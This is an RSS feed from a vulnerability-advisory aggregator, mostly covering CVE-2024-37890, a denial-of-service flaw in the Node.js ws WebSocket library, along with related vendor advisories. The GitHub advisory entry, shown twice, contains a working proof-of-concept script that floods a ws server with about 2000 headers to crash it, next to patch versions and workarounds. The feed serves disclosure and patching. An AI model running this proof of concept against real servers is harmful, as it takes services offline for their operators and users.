<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 12:34:20 +0000</lastBuildDate>
    <item>
      <title>bdu:2024-06239</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2024-06239</link>
      <description>bdu:2024-06239</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2024-06239</guid>
    </item>
    <item>
      <title>certfr-2024-avi-0692 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2024-avi-0692</link>
      <description>certfr-2024-avi-0692</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2024-avi-0692</guid>
    </item>
    <item>
      <title>EUVD-2026-5949</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-5949</link>
      <description>EUVD-2026-5949</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-5949</guid>
    </item>
    <item>
      <title>fkie_cve-2024-37890</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-37890</link>
      <description>&lt;p&gt;ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-37890</guid>
    </item>
    <item>
      <title>GHSA-3h5v-q93c-6h6q — ws affected by a DoS when handling a request with many HTTP headers</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-3h5v-q93c-6h6q</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: ws&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```js
const http = require(&amp;#39;http&amp;#39;);
const WebSocket = require(&amp;#39;ws&amp;#39;);&lt;/p&gt;
&lt;p&gt;const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = &amp;#34;!#$%&amp;amp;&amp;#39;*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~&amp;#34;.split(&amp;#39;&amp;#39;);
  const headers = {};
  let count = 0;&lt;/p&gt;
&lt;p&gt;for (let i = 0; i &amp;lt; chars.length; i++) {
    if (count === 2000) break;&lt;/p&gt;
&lt;p&gt;for (let j = 0; j &amp;lt; chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = &amp;#39;x&amp;#39;;&lt;/p&gt;
&lt;p&gt;if (++count === 2000) break;
    }
  }&lt;/p&gt;
&lt;p&gt;headers.Connection = &amp;#39;Upgrade&amp;#39;;
  headers.Upgrade = &amp;#39;websocket&amp;#39;;
  headers[&amp;#39;Sec-WebSocket-Key&amp;#39;] = &amp;#39;dGhlIHNhbXBsZSBub25jZQ==&amp;#39;;
  headers[&amp;#39;Sec-WebSocket-Version&amp;#39;] = &amp;#39;13&amp;#39;;&lt;/p&gt;
&lt;p&gt;const request = http.request({
    headers: headers,
    host: &amp;#39;127.0.0.1&amp;#39;,
    port: wss.address().port
  });&lt;/p&gt;
&lt;p&gt;request.end();
});
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;In vulnerable versions of ws, the issue can be mitigated in the following ways:&lt;/p&gt;
&lt;p&gt;1. Redu…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: ws&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```js
const http = require(&amp;#39;http&amp;#39;);
const WebSocket = require(&amp;#39;ws&amp;#39;);&lt;/p&gt;
&lt;p&gt;const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = &amp;#34;!#$%&amp;amp;&amp;#39;*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~&amp;#34;.split(&amp;#39;&amp;#39;);
  const headers = {};
  let count = 0;&lt;/p&gt;
&lt;p&gt;for (let i = 0; i &amp;lt; chars.length; i++) {
    if (count === 2000) break;&lt;/p&gt;
&lt;p&gt;for (let j = 0; j &amp;lt; chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = &amp;#39;x&amp;#39;;&lt;/p&gt;
&lt;p&gt;if (++count === 2000) break;
    }
  }&lt;/p&gt;
&lt;p&gt;headers.Connection = &amp;#39;Upgrade&amp;#39;;
  headers.Upgrade = &amp;#39;websocket&amp;#39;;
  headers[&amp;#39;Sec-WebSocket-Key&amp;#39;] = &amp;#39;dGhlIHNhbXBsZSBub25jZQ==&amp;#39;;
  headers[&amp;#39;Sec-WebSocket-Version&amp;#39;] = &amp;#39;13&amp;#39;;&lt;/p&gt;
&lt;p&gt;const request = http.request({
    headers: headers,
    host: &amp;#39;127.0.0.1&amp;#39;,
    port: wss.address().port
  });&lt;/p&gt;
&lt;p&gt;request.end();
});
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;In vulnerable versions of ws, the issue can be mitigated in the following ways:&lt;/p&gt;
&lt;p&gt;1. Redu…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-3h5v-q93c-6h6q</guid>
    </item>
    <item>
      <title>msrc_CVE-2024-37890 — Denial of service when handling a request with many HTTP headers in ws</title>
      <link>https://cve.radiocsirt.org/vuln/msrc_cve-2024-37890</link>
      <description>msrc_CVE-2024-37890</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/msrc_cve-2024-37890</guid>
    </item>
    <item>
      <title>RHBA-2024:9054 — Red Hat Bug Fix Advisory: Red Hat Developer Hub 1.3.1 bugfix release</title>
      <link>https://cve.radiocsirt.org/vuln/rhba-2024:9054</link>
      <description>&lt;p&gt;http-proxy-middleware: http-proxy-middleware: Denial of Service via unhandled error during path matching nodejs-ws: denial of service when handling a request with many HTTP headers body-parser: Denial of Service Vulnerability in body-parser&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;http-proxy-middleware: http-proxy-middleware: Denial of Service via unhandled error during path matching nodejs-ws: denial of service when handling a request with many HTTP headers body-parser: Denial of Service Vulnerability in body-parser&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhba-2024:9054</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2024-37890</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-37890</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:16.04:LTS: node-ws, Ubuntu:18.04:LTS: node-ws, Ubuntu:20.04:LTS: node-ws, Ubuntu:22.04:LTS: node-ws, Ubuntu:24.04:LTS: node-ws, Ubuntu:25.10: node-ws, Ubuntu:26.04:LTS: node-ws&lt;/p&gt;
&lt;p&gt;ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:16.04:LTS: node-ws, Ubuntu:18.04:LTS: node-ws, Ubuntu:20.04:LTS: node-ws, Ubuntu:22.04:LTS: node-ws, Ubuntu:24.04:LTS: node-ws, Ubuntu:25.10: node-ws, Ubuntu:26.04:LTS: node-ws&lt;/p&gt;
&lt;p&gt;ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-37890</guid>
    </item>
    <item>
      <title>WID-SEC-W-2024-1869 — IBM App Connect Enterprise: Schwachstelle ermöglicht Denial of Service</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2024-1869</link>
      <description>&lt;p&gt;Ein entfernter, anonymer Angreifer kann eine Schwachstelle in IBM App Connect Enterprise ausnutzen, um einen Denial of Service Angriff durchzuführen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein entfernter, anonymer Angreifer kann eine Schwachstelle in IBM App Connect Enterprise ausnutzen, um einen Denial of Service Angriff durchzuführen.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2024-1869</guid>
    </item>
  </channel>
</rss>
